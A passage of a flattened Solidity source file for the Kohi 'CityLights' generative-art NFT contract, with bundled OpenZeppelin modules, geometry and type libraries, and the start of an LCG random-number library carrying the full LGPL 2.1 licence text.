_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// File @openzeppelin/contracts/security/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File contracts/Projects/CityLights/KohiCityLights.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
interface IBloomList {
function updateAdmin(address newAdmin) external;
function isInBloomList(address _address) external view returns (bool);
}
contract KohiCityLights is Context, AccessControlEnumerable, ERC721, ERC721Enumerable, ERC721Pausable, ERC721Burnable, ReentrancyGuard {
using Address for address;
struct Collection {
string name;
string baseTokenUri;
string description;
string license;
uint priceInWei;
int32 seed;
uint minted;
uint mintedMax;
uint mintedMaxPerOwner;
uint lockAt;
bool paused;
bool active;
string creatorName;
address payable creatorAddress;
address _renderer;
}
mapping(uint8 => Collection) internal collections;
event CollectionMinted (
uint256 indexed tokenId,
address indexed recipient,
uint256 mintId,
uint256 priceInWei,
int32 seed
);
uint private lastTokenId;
mapping(address => uint) private ownerMints;
mapping(uint => int32) internal tokenSeed;
bool private locked;
bool private presale;
uint8 private ownerRoyalty;
address payable private ownerAddress;
address private _admin;
address private _ownership;
uint presalePriceInWei;
mapping(address => uint) presaleMints;
mapping(uint => bool) presoldTokens;
constructor(address ownership) ERC721("CityLights", "EEPCL") {
lastTokenId = 0;
_admin = _msgSender();
_contractUri = "https://kohi.art/metadata";
_ownership = ownership;
presalePriceInWei = 330000000000000000;
_pause();
}
string private _contractUri;
/*
* @dev See: https://docs.opensea.io/docs/contract-level-metadata
*/
function contractURI() public view returns (string memory) {
return _contractUri;
}
function updateContractUri(string memory contractUri) public {
if(_msgSender() != _admin) revert AdminOnly();
_contractUri = contractUri;
}
function updateAdmin(address newAdmin) public {
if(_msgSender() != _admin) revert AdminOnly();
if(newAdmin == address(0x0)) revert AddressMustBeSet();
_admin = newAdmin;
}
function updateOwnerData(uint8 royalty, address payable newAddress) public {
if(_msgSender() != _admin) revert AdminOnly();
if(newAddress == address(0x0)) revert AddressMustBeSet();
if(royalty == 0 || royalty > 100) revert InvalidOwnerRoyalty();
ownerRoyalty = royalty;
ownerAddress = newAddress;
}
function getPresale() external view returns (bool) {
return presale;
}
function togglePresale() external {
if(_msgSender() != _admin) revert AdminOnly();
if(presale) {
presale = false;
} else {
presale = true;
}
}
function toggleLocked() external {
if(_msgSender() != _admin) revert AdminOnly();
if(locked) {
locked = false;
} else {
locked = true;
}
}
function togglePaused() external {
if(_msgSender() != _admin) revert AdminOnly();
if(paused()) {
_unpause();
}
else {
_pause();
}
}
function setPresalePrice(uint priceInWei) public {
if(_msgSender() != _admin) revert AdminOnly();
presalePriceInWei = priceInWei;
}
function setPrice(uint priceInWei) public {
if(_msgSender() != _admin) revert AdminOnly();
collections[0].priceInWei = priceInWei;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override (ERC721, ERC721Enumerable, ERC721Pausable) {
super._beforeTokenTransfer(from, to, tokenId);
if(collections[0].paused) revert CollectionPaused();
}
function getCollection() public view returns (Collection memory collection) {
return collections[0];
}
function updateCollection(Collection memory collection) public {
if(_msgSender() != _admin) revert AdminOnly();
if(collection._renderer == address(0x0) || !collection._renderer.isContract()) revert InvalidRenderer();
collections[0] = collection;
}
/**
* @notice Sets the collection's unique seed. It cannot be modified once set.
* @dev This is a source of external entropy, by the contract owner, to avoid determinism on PRNG that could exploit the mint's parameters.
*/
function setSeed(int32 seed) external {
if(_msgSender() != _admin) revert AdminOnly();
if(seed == 0) revert InvalidSeed();
if(collections[0].seed != 0) revert SeedAlreadySet();
collections[0].seed = seed;
}
function getSeed() external view returns (int32) {
if(_msgSender() != _admin) revert AdminOnly();
if(collections[0].seed == 0) revert SeedNotSet();
return collections[0].seed;
}
function getOwnership() external view returns(address) {
if(_msgSender() != _admin) revert AdminOnly();
return _ownership;
}
function setOwnership(address newOwnership) external {
if(_msgSender() != _admin) revert AdminOnly();
_ownership = newOwnership;
}
function releaseControl() external {
if(_msgSender() != _admin) revert AdminOnly();
IBloomList(_ownership).updateAdmin(_msgSender());
}
function purchasePresale(uint count) external payable {
purchasePresaleFor(_msgSender(), count);
}
function purchasePresaleFor(address recipient, uint count) public payable nonReentrant {
if(!presale) revert PresaleNotOpen();
address minter = _msgSender();
uint balance = IERC721(_ownership).balanceOf(minter);
bool inBloomList = IBloomList(_ownership).isInBloomList(minter);
// start with simple eligibility check
if(!inBloomList && balance < 1) revert NotEligibleForPresale();
// get count of all owned kintsugi tokens not already presold
uint presaleBalance = 0;
for(uint i = 0; i < balance; i++) {
uint tokenId = IERC721Enumerable(_ownership).tokenOfOwnerByIndex(minter, i);
if(!presoldTokens[tokenId]) {
presaleBalance++;
presoldTokens[tokenId] = true;
if(presaleBalance >= count) {
break; // have enough
}
}
}
// if in bloom list, with no entitlements, give one if they haven't minted one
if(inBloomList && presaleBalance == 0 && presaleMints[minter] == 0) {
presaleBalance = 1;
}
// if minter's count is over their balance, adjust it down
count = uint(MathV1.min(int(count), int(presaleBalance)));
// final balance check before minting
if(count == 0) revert NoRemainingPresaleMints();
// edge case: minter wants to buy multiple but we have less supply than their count,
// but don't want them to get nothing
int remaining = MathV1.max(0, int(collections[0].mintedMax) - MathV1.min(int(collections[0].lockAt), int(collections[0].minted)));
count = uint(MathV1.min(int(count), remaining));
if(count == 0) revert CollectionSoldOut();
presaleMints[minter] = presaleMints[minter] + count;
mint(minter, recipient, presalePriceInWei, count);
}
function purchase(uint count) external payable {
purchaseFor(_msgSender(), count);
}
function purchaseFor(address recipient, uint count) public payable nonReentrant {
if(presale) revert PublicSaleNotOpen();
address minter = _msgSender();
uint mintedMaxPerOwner = collections[0].mintedMaxPerOwner;
if(mintedMaxPerOwner != 0) {
// reset for presale minters
uint totalMintsAllowed = mintedMaxPerOwner + presaleMints[minter];
if(ownerMints[minter] >= totalMintsAllowed) revert AccountExceedsMaxMints();
}
// edge case: minter wants to buy multiple but we have less supply than their count,
// but don't want them to get nothing
int remaining = MathV1.max(0, int(collections[0].mintedMax) - MathV1.min(int(collections[0].lockAt), int(collections[0].minted)));
count = uint(MathV1.min(int(count), remaining));
if(count == 0) revert CollectionSoldOut();
mint(_msgSender(), recipient, collections[0].priceInWei, count);
}
function mint(address minter, address recipient, uint priceInWei, uint count) private {
if(ownerAddress == address(0x0)) revert NoOwnerAddress();
if(minter.isContract()) revert CannotPurchaseFromContract();
if(locked && minter != _admin) revert CollectionLocked();
uint totalPrice = priceInWei * count;
if(msg.value < totalPrice) revert InsufficientFundsForPurchase();
Collection memory collection = collections[0];
if(collection.creatorAddress == address(0x0)) revert NoCreatorAddress();
if(!collection.active && minter != _admin) revert CollectionInactive();
if(collection.seed == 0) revert SeedNotSet();
for(uint i = 0; i < count; i++) {
uint256 nextTokenId = lastTokenId + 1;
int32 seed = int32(int(uint(keccak256(abi.encodePacked(collection.seed, block.number, minter, recipient, nextTokenId)))));
lastTokenId = nextTokenId;
tokenSeed[lastTokenId] = seed;
collections[0].minted = collection.minted + 1;
ownerMints[minter] = ownerMints[minter] + 1;
_safeMint(recipient, nextTokenId);
emit CollectionMinted(nextTokenId, recipient, collection.minted, collection.priceInWei, seed);
if(collection.lockAt > 0) {
if(lastTokenId >= collection.lockAt)
locked = true;
}
}
distributeFunds(totalPrice, collection.creatorAddress);
}
function distributeFunds(uint priceInWei, address payable creatorAddress) private {
if (msg.value > 0) {
uint overpaid = msg.value - priceInWei;
if (overpaid > 0) {
payable(_msgSender()).transfer(overpaid);
}
uint dueToOwner = ownerRoyalty * priceInWei / 100;
uint paidToOwner;
if (dueToOwner > 0) {
ownerAddress.transfer(dueToOwner);
paidToOwner = dueToOwner;
}
uint dueToCreator = priceInWei - paidToOwner;
uint paidToCreator;
if (dueToCreator > 0) {
creatorAddress.transfer(dueToCreator);
paidToCreator = dueToCreator;
}
if(priceInWei - paidToOwner - paidToCreator != 0) {
revert InvalidFundsDistribution();
}
}
}
function ownsToken(address owner, uint tokenId) public view returns (bool) {
for(uint i = 0; i < balanceOf(owner); i++) {
if(tokenId == tokenOfOwnerByIndex(owner, i)) {
return true;
}
}
return false;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
Collection memory collection = collections[0];
string memory baseURI = collection.baseTokenUri;
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId))) : "";
}
function setRenderer(address renderer) external {
if(_msgSender() != _admin) revert AdminOnly();
collections[0]._renderer = renderer;
}
/**
* @notice Retrieve's an artwork's attributes, given a token ID.
*/
function getAttributes(uint tokenId) external view returns (string memory attributes) {
if(_msgSender() != _admin && !ownsToken(_msgSender(), tokenId)) revert RenderDisallowed();
return IAttributes(collections[0]._renderer).getAttributes(tokenSeed[tokenId]);
}
/**
* @notice Begins rendering an artwork given a token ID, and continuation arguments, which must be owned by the caller.
*/
function _render(uint tokenId, IRenderer.RenderArgs memory args) private view returns (IRenderer.RenderArgs memory results) {
if(_msgSender() != _admin && !ownsToken(_msgSender(), tokenId)) revert RenderDisallowed();
if(args.seed != tokenSeed[tokenId]) revert InvalidSeed();
return IRenderer(collections[0]._renderer).render(args);
}
/**
* @notice Continues rendering an artwork given a token ID and previous arguments. Token must be owned by the caller.
*/
function render(uint tokenId, IRenderer.RenderArgs memory args) external view returns (IRenderer.RenderArgs memory results) {
return _render(tokenId, args);
}
/**
* @notice Begins rendering an artwork given a token ID. Token must be owned by the caller.
*/
function beginRender(uint tokenId) external view returns (IRenderer.RenderArgs memory results) {
uint32[20480] memory buffer;
RandomV1.PRNG memory prng;
return _render(tokenId, IRenderer.RenderArgs(0, 0, tokenSeed[tokenId], buffer, prng));
}
}
// File contracts/V1/TypesV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
library TypesV1 {
/**
* @dev Represents a point in two-dimensional space.
*/
struct Point2D {
int256 x;
int256 y;
}
/**
* @dev Represents a chunked rendering region.
*/
struct Chunk2D {
uint16 index;
uint16 width;
uint16 height;
uint16 chunkWidth;
uint16 chunkHeight;
uint32 startX;
uint32 startY;
}
}
// File contracts/V1/GeometryV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
library GeometryV1 {
struct Triangle2D {
TypesV1.Point2D v0;
TypesV1.Point2D v1;
TypesV1.Point2D v2;
uint32 strokeColor;
uint32 fillColor;
TypesV1.Chunk2D chunk;
}
struct Line2D {
TypesV1.Point2D v0;
TypesV1.Point2D v1;
uint32 color;
TypesV1.Chunk2D chunk;
}
struct Polygon2D {
TypesV1.Point2D[40960] vertices;
uint32 vertexCount;
uint32 strokeColor;
uint32 fillColor;
TypesV1.Chunk2D chunk;
}
function edge(
TypesV1.Point2D memory a,
TypesV1.Point2D memory b,
TypesV1.Point2D memory c
) external pure returns (int256) {
return ((b.y - a.y) * (c.x - a.x)) - ((b.x - a.x) * (c.y - a.y));
}
function getBoundingBox(TypesV1.Point2D[] memory vertices)
external
pure
returns (TypesV1.Point2D memory tl, TypesV1.Point2D memory br)
{
int256 xMax = vertices[0].x;
int256 xMin = vertices[0].x;
int256 yMax = vertices[0].y;
int256 yMin = vertices[0].y;
for (uint256 i; i < vertices.length; i++) {
TypesV1.Point2D memory p = vertices[i];
if (p.x > xMax) xMax = p.x;
if (p.x < xMin) xMin = p.x;
if (p.y > yMax) yMax = p.y;
if (p.y < yMin) yMin = p.y;
}
return (TypesV1.Point2D(xMin, yMin), TypesV1.Point2D(xMax, yMax));
}
}
// File contracts/V1/LCG64.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
/*
An implementation of a Linear Congruential Generator in Q31.Q32 format.
Adapted from the algorithm used by p5js, which is licensed under the LGPL v2.1.
See: https://github.com/processing/p5.js/blob/374acfb44588bfd565c54d61264df197d798d121/src/math/noise.js
https://github.com/processing/p5.js/blob/main/license.txt
This adaptation was necessary to ensure generative art in p5js produces identical results for noise values in Solidity.
THIRD PARTY NOTICES:
====================
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
(This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.)
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
*/
library LCG64 {
uint64 internal constant M = 4294967296;
uint32 internal constant A = 1664525;
uint32 internal constant C = 1013904223;
function next(uint64 z) internal pure returns(uint64, int64) {
uint256 r = uint(A) * uint(z) + uint(C);
uint64 g = uint64(r % M);
int lz = Trig256.log_256(int64(g) * int(Fix64V1.ONE));
int lm = Trig256.log_256(int64(M) * int(Fix64V1.ONE));
